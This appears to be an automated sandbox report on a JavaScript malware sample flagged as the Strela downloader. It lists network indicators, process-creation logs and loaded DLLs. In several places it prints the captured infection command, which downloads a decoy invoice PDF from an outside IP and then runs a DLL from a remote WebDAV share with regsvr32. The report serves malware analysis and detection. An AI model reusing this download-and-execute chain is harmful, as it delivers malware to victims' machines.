20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.7:60432 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1259905920.000002866EAF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1261500597.000002866EAF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1322263364.0000017971298000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1322263364.0000017971268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1322263364.0000017971298000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 0000000C.00000002.1322263364.0000017971268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000F.00000002.2545485424.000002611D400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.14.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.15.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.15.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.14.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000F.00000003.1332857563.000002611D1A0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.15.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7264, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1956351416528695.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odmosd21.e2i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1736,i,18039073319916062668,16876774319541753716,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1736,i,18039073319916062668,16876774319541753716,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
